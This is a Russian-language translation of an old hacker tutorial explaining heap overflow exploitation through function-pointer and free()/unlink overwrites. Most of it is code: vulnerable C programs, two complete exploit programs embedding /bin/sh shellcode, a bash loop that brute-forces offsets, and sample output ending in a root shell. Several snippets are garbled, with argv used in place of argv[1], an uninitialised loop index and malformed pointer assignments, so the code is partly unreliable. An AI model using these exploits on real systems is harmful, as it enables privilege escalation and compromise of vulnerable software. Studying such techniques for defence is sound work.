Ключевые слова:security, heap, buffer, attack, (найти похожие документы)
From: intuit
Date: Mon, 23 Feb 2008 18:21:07 +0000 (UTC)
Subject: Как работают эксплоиты на основе heap overflow
Оригинал: http://www.void.ru/content/1062
Автор: nebunu, irc.box.sk #neworder
Перевод: intuit
1. Почему была написана статья.
2. Описание ошибки.
3. Уязвимая программа (пример и exploit для неё)
4. Реальный пример эксплоита.
1. Большое количество эксплоитов было зарелизено в последнее время.
Некоторые из них основаны на технологии перезаписи указателя
функции(function pointer), позволяющей выполнить шеллкод на стеке или
куче. Вот самые известные из последних эксплоитов, использующие данную
технологию: 7350fun, Apache-scalp, openssl-too-open, sshut-up-theo,
sshchan.
Тысячи серверов по всему миру были взломаны. В большинстве случаев эти
эксплоиты использовались так называемымиsсriptkiddie`s, которые не
имеют представления о том, как они работают и что делают. В связи с
этим я попытаюсь рассказать о технике перезаписи указателя функции в
деталях. Итак, оставайтесь со мной до конца статьи и, я надеюсь, когда
вы закроете свой "вьювер" =) вы станете просвящены в данном вопросе.
2. Лучший способ разобраться в проблеме - рассмотреть пример уязвимой
программы.
Давайте взглянем на следующий код:
#include <stdio.h>
#include <string.h>
main()
{
unsigned long difference;
char *buffer1,*buffer2;
*buffer1 = (char *)malloc(16)
*buffer2 = (char *)malloc(16);
difference = (unsigned long)buffer2 - (unsigned long)buffer1;
memset(buffer2, 'A', 15), buffer2[15] = '\0';
memset(buffer1, 'B', (unsigned int)(difference + 8));
}
После компиляции и выполнения наши буферы будут содержать следующее:
До переполнения:
buffer2=AAAAAAAAAAAAAAAA
После:
buffer2=BBBBBBBBAAAAAAAA
Buffer1 "вылез" за свою границу в пространство зарезервированное для
buffer2 на 8 байт. Это позволяет нам, используя перезапись некоторого
указателя, выполнить шеллкод.
Посмотрите на следующий код:
expl.c
#include <stdio.h>
#include <string.h>
int function(const char *argument);
int main(int argc, char **argv)
{
static char buf[128];
static int (*funcptr)(const char *argument);
if (argc <= 2)
{
fprintf(stderr, "Usage: %s [buffer] [function argument]\n", argv[0]);
exit(1);
}
funcptr = (int (*)(const char *argument))function;
memset(buf, 0, sizeof(buf));
strncpy(buf, argv, strlen(argv));
(void)(*funcptr)(argv);
return 0;
}
int function(const char *argument)
{
printf("\nArgument is: %s\n", argument);
return 0;
}
Разберемся, что он делает. Получает 2 аргумента. Первый аргумент -
строка вызывающая переполнение, второй - будет запускать нашу функцию.
Наша функция будет выводить на экран. Как мы можем "эксплуатировать"
это ? Очень просто. Используем первую строку, которая может быть
произвольно большой длины для перезаписи указателя функции и
заставляем его указывать на шеллкод, расположенный в "куче". Конечно,
мы можем разместить наш шеллкод в первом аргументе программы, подобно
классическому buffer overflow, но тогда сложнее получить адрес
возврата, да и многие системы сегодня уже не имеют выполнимого стека.
К примеру, я использую StackGuard для защиты своей системы от такого
нападения.
Теперь приступим к написанию эксплоита.
3. Посмотрите внимательнее на expl.c, на дозволенный размер буфера.
static char buf[128];
Итак, под буфер отводится 128 байт.
Легко заметить, в моем первом примере, что вылезая за границы буфера в
место, отведенное под heap-переменную, можно перезаписать указатель
функции на адрес нашего шеллкода. Получается что-то вроде этого:
{AAAAAAAA...AAAAAAAAAAAAA}{shellcode address}{NULL byte}
128 bytes of crap 4 bytes long 1 byte
Видно, что длина буфера эксплоита должна быть 128+4+1 байт.
char buf[128 + sizeof(unsigned long) + 1];
Тогда верхний адрес будет определен так:
sysaddr = (unsigned long)sbrk(0)
Будем вычитать пока не сорвем джек-пот ;) :
sysaddr = (unsigned long)sbrk(0) - atoi(argv);
Если размер шеллкода превышает размер нашего буфера - тогда на выход:
if (128 + 4 + 1 < strlen(shellcode))exit(1);
Если всё ОК, поместим наш шеллкод в буфер:
strcpy(buf, shellcode);
После шеллкода добавим мусора... Это будет последовательность ААА.. ,
также определим NULL'евой байт, который выступает в роли завершителя
строки:
memset(buf + strlen(shellcode), 'A',128 - strlen(shellcode) +
sizeof(unsigned long));
buf[128 + sizeof(unsigned long)] = '\0';
Теперь в конец "разрешенных" 128 байт, запишем адрес возврата
шеллкода, задом-наперед, не забыв про то, что работаем с linux,
который использует формат little endian.
for (i = 0; i < sizeof(sysaddr); i++)
buf[128 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255;
Например, если адрес - 0xffff5467, то запишем - 6754ffff. Далее,
передаем наш шеллкод, как аргумент функции. Когда указатель функции
будет перезаписан нашим буфером, shellcode будет выполнен.
execl("./expl","expl", buf, shellcode, NULL);
Объединим все сказанное в небольшую программу:
go.c
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
main(int argc, char **argv)
{
register int i;
unsigned long sysaddr;
char buf[128 + sizeof(unsigned long) + 1];
if (argc <= 1)
{
printf("\nUsage: %s [offset]\n", argv[0]);
exit(1);
}
sysaddr = (unsigned long)sbrk(0) - atoi(argv);
if (128 + 4 + 1 < strlen(shellcode))
exit(1);
strcpy(buf, shellcode);
memset(buf + strlen(shellcode), 'A',128 - strlen(shellcode) + sizeof(unsigned long));
buf[128 + sizeof(unsigned long)] = '\0';
for (i = 0; i < sizeof(sysaddr); i++)
buf[128 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255;
execl("./expl","expl", buf, shellcode, NULL);
return 0;
}
Для того, чтобы получить шелл, вы должны выполнить exploit с
параметром offset. Таким образом ./go [offset] . Я создал маленький
скрипт, делающий это для вас. Назовите его sсript.
#!/bin/bash
i=0
while [ $i -lt 1000 ]; do
i=`expr $i + 1`
./go $i
echo $i
done
Выполните его:
root@localhost~# shsсript
..........
sh-2.5#
Мы получили шелл! Надеюсь вы поняли основную идею данной уязвимости,
которая широко распространена в реальной жизни.
4. Здесь я рассмотрю пример перезаписи указателя функции free(),
конкретно то, что встречается в реальных условиях. Это точно такая же
техника, на которой построены эксплоиты для openssh-2.9* for freebsd и
openssl apache exploit.
Смотрим:
Для понимания того, что будет написано далее, необходимо знать как
работает функция free(). Объяснение её работы выходит за рамки данной
статьи, читайте MAN`ы. Вот подходящий для "эксплуатации" код:
#include <stdio.h>
#define BUFSIZE 56
int main(int argc, char **argv)
{
char *buf1, *buf2;
if(argc == 1) {
printf("\nUsage: %s [string].\n",argv[0]);
return(0);
}
buf1 = (char *) malloc(BUFSIZE);
buf2 = (char *) malloc(BUFSIZE);
strcpy(buf2,"AAAAAAAAAAAAAAAA");
strcpy(buf1, argv);
printf("\n%s\n", buf1);
free(buf2);
free(buf1);
return(0);
}
Длина buf2 крайне важна, bufsize1=length(buf2). Также вы видите, если
строка более 56 символов, разрешенных для аргумента, то она
перезапишет часть buf2. Мы должны заменить первые 8 байт, для того,
чтобы "эксплуатировать" эту программу по стандартной схеме:
[BUFSIZE bytes of shit] [previous size of buf2(предыдущий размер
buf2)] [size of buf2(размер buf2)] [8 bytes of crap] [ptr safe 4
bytes] [ptr safe 4 bytes] [ptr to overwrite lоcation - bufsize1
-4(указатель на перезаписываемую область)] [return addy(адрес возврата)]
[jump ahead bufsize1-4(прыжок вперед на bufsize1-4 байт)]
[bufsize1-4 bytes of crap] [shellcode of your choice(шеллкод на ваш выбор)]
ptr to overwrite lоcation - адрес функции free(), его можно узнать
так:
objdump -R vulnerable_program_binary | grep free
Адрес возврата - адрес шеллкода, обычно можно узнать брутфорсом.
Далее приведен эксплоит, построенный по показанной схеме:
#include <stdio.h>
main(int argc,char **argv)
{
unsigned long sysaddr=0x0804968c-12; /* free() address-16-4 */
unsigned long retaddr; /* shellcode address */
int i;
char buf[1000];
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
strcpy(buf,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
/* 56 chars */
strcat(buf,"\xf0\xff\xff\xff"); /* [previous size of buf2] */
strcat(buf,"\xfc\xff\xff\xff"); /* [size of buf2] */
strcat(buf,"\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc"); /* 8 bytes of shit */
strcat(buf,"\xfc\xff\xff\xff"); /* [ptr safe 4 bytes] */
strcat(buf,"\xfc\xff\xff\xff"); /* [ptr safe 4 bytes] */
buf[56+4+4+8+4+4 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255;
/* [ptr to overwrite lоcation - bufsize1 -4] */
retaddr=sysaddr+atoi(argv);
buf[56+4+4+8+4+4+4+ i] = ((unsigned long)retaddr >> (i * 8)) & 255;
strcat(buf,"\xeb\x0c\x90\x90"); /* jump ahead 12 bytes */
strcat(buf,"\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc");
/* [bufsize1-4 bytes of crap] */
strcat(buf,shellcode); /* shellcode */
execl("./a","a",buf, NULL); /* blow them baby */
}
Для более глубокого понимания материала ищите man`ы и статьи по
выделению и освобождению памяти. (описание таких функций, как
malloc(), realloc(), free(), cfree() и т.д.)
Автор: nebunu
Источник: irc.box.sk #neworder